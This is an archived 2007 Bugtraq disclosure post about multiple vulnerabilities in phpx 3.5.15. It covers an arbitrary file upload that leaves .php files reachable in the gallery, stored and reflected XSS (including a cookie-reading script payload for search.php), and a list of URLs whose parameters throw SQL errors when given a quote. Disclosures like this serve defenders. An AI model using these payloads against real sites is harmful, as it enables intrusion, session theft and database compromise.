| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20070319153736.17594.qmail@securityfocus.com> Date: 19 Mar 2007 15:37:36 -0000 From: none@...e.com To: bugtraq@...urityfocus.com Subject: phpx 3.5.15 multiples vulnerabilities avatar upload vuln: http://site.com/phpx/gallery.php?action=addImage you can upload any kind of file in the gallery. your file gone be refused by the script but it will be located here : http://site.com/phpx/gallery/shelties/your_filename.php ;) xss permanent : dans profile: -signature xss non permanent in search.php : </textarea>'"><script>alert(document.cookie)</script> multiples error sql : http://site.com/phpx/gallery.php?action=viewImage&image_id=' http://site.com/phpx/news.php?action=view&news_id=' http://site.com/phpx/news.php?news_cat_id='&action=view_cat http://site.com/phpx/users.php?action=view&user_id=' http://site.com/phpx/news.php?news_id=' http://site.com/phpx/forums.php?cat_id=' http://site.com/phpx/forums.php?forum_id=1&topic_id=' http://site.com/phpx/forums.php?forum_id=1&topic_id=1&post_id=' http://site.com/phpx/news.php?action=view_cat&news_cat_id=' http://site.com/phpx/gallery.php?action=viewCat&cat_id=' http://site.com/phpx/print.php?action=news&news_id=' regards laurent gaffié
Powered by blists - more mailing lists